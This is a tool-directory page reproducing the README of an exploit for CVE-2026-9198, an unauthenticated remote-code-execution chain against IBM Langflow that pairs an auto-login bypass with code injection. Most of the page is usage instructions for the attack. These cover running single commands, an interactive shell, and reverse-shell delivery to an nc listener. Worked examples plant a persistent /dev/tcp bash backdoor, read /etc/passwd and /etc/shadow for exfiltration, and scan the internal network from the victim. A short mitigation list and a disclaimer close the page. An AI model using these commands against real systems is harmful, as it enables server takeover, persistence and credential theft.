Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-9198 — IBM Langflow Unauthenticated RCE via Auto-Login Bypass | Kitploit
Tools/GitHubGitHub/0xgh057r3c0n/cve-2026-9198
Payload GenerationExploitationWeb Application ExploitationCommand and ControlAuthenticationRed TeamingRemote Access Tool
GitHub0xgh057r3c0n/cve-2026-9198

CVE-2026-9198

IBM Langflow Unauthenticated RCE via Auto-Login Bypass

View Repository
127 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Langflow Logo

🚨 CVE-2026-9198

IBM Langflow OSS Unauthenticated RCE via Auto-Login Bypass

License: MIT Python 3.6+ Security


📋 Overview

CVE-2026-9198 is a critical unauthenticated Remote Code Execution (RCE) vulnerability in IBM Langflow OSS. This exploit chains two vulnerabilities:

  • CVE-2026-9103: Auto-login bypass that grants superuser JWT tokens to unauthenticated callers
  • CVE-2026-8481: Code injection in the /api/v1/validate/code endpoint that allows arbitrary Python execution

⚠️ WARNING: This tool is for authorized security testing and educational purposes only. Unauthorized use is illegal.


🚀 Features

  • 🔓 Auto-login bypass - Automatically obtains superuser JWT token
  • 💻 Interactive pseudo-shell - Dynamic prompt with username and current directory
  • 📝 Single command execution - Run arbitrary system commands
  • 🔄 Reverse shell - One-liner reverse shell payload delivery
  • 🎨 Colorful output - Visual feedback with ANSI colors
  • ⚡ Fast and reliable - Built with robust error handling

📦 Installation

Prerequisites

  • Python 3.6 or higher
  • pip package manager

Step 1: Clone the Repository

root@kitploit:~
git clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198

Step 2: Install Dependencies

root@kitploit:~
pip install termcolor

Or install all dependencies at once:

root@kitploit:~
pip install -r requirements.txt

Step 3: Verify Installation

root@kitploit:~
python CVE-2026-9198.py --help

You should see the help menu with all available options.


🎯 Usage

Basic Command Execution

Execute a single command on the target:

root@kitploit:~
python CVE-2026-9198.py -t <target_ip> -c "id"

Example:

root@kitploit:~
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"

Interactive Pseudo-Shell

Launch an interactive shell with dynamic prompts:

root@kitploit:~
python CVE-2026-9198.py -t <target_ip> --shell

Features:

  • Dynamic prompt showing user@host and current directory
  • cd command support with automatic prompt update
  • Command history (depending on terminal)
  • Clean output formatting

Example session:

root@kitploit:~
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp

Reverse Shell

Send a reverse shell payload to a listener:

root@kitploit:~
python CVE-2026-9198.py -t <target_ip> --lhost <your_ip> --lport <port>

Example:

root@kitploit:~
# On your machine - Start listener
nc -lvnp 4444

# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444

Custom Port

If Langflow is running on a non-default port:

root@kitploit:~
python CVE-2026-9198.py -t <target_ip> -p <port> -c "whoami"

Example:

root@kitploit:~
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"

Using a Pre-obtained Token

Skip the auto-login process and use an existing token:

root@kitploit:~
python CVE-2026-9198.py -t <target_ip> -k <your_jwt_token> -c "id"

Timeout Configuration

Adjust HTTP timeout for slower networks:

root@kitploit:~
python CVE-2026-9198.py -t <target_ip> --timeout 30 -c "whoami"

📝 Command Line Arguments


🔧 Examples

1. Basic Information Gathering

root@kitploit:~
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"

2. File System Exploration

root@kitploit:~
python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd

3. Persistent Backdoor

root@kitploit:~
# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"

4. Network Scanning (from target)

root@kitploit:~
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"

5. Exfiltrating Sensitive Files

root@kitploit:~
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"

🛡️ Mitigation

To protect against this vulnerability:

  1. Disable auto-login in production environments
  2. Apply patches released by IBM for Langflow
  3. Restrict network access to Langflow administrative interfaces
  4. Monitor for unusual API requests to /api/v1/auto_login and /api/v1/validate/code
  5. Use WAF rules to block suspicious payload patterns

⚠️ Disclaimer

This tool is provided for educational and authorized security testing purposes only. The author is not responsible for any misuse or damage caused by this software. Users are solely responsible for complying with applicable laws and regulations.


📄 License

This project is licensed under the MIT License - see the LICENSE file for details.


👨‍💻 Author

0xgh057r3c0n

  • GitHub: @0xgh057r3c0n
  • Security Researcher & Pentester

📚 References

  • CVE-2026-9198 Details
  • CVE-2026-9103 - Auto-Login Bypass
  • CVE-2026-8481 - Code Injection
  • Langflow Official Site

🤝 Contributing

Contributions are welcome! Please feel free to submit a Pull Request.

  1. Fork the repository
  2. Create your feature branch (git checkout -b feature/AmazingFeature)
  3. Commit your changes (git commit -m 'Add some AmazingFeature')
  4. Push to the branch (git push origin feature/AmazingFeature)
  5. Open a Pull Request

⭐ Star History

If you find this tool useful, please consider giving it a ⭐ on GitHub!


Made with ❤️ by 0xgh057r3c0n
Download Tool
ArgumentDescriptionRequiredDefault
-t, --targetTarget host/IP or full URL✅ Yes-
-p, --portLangflow port❌ No7860
-c, --cmdExecute a single command❌ No"id"
--shellInteractive pseudo-shell mode❌ NoFalse
--lhostReverse shell listener IP❌ No-
--lportReverse shell listener port❌ No4444
-k, --tokenUse provided bearer token❌ No-
--timeoutHTTP timeout in seconds❌ No20
--no-bannerHide the banner❌ NoFalse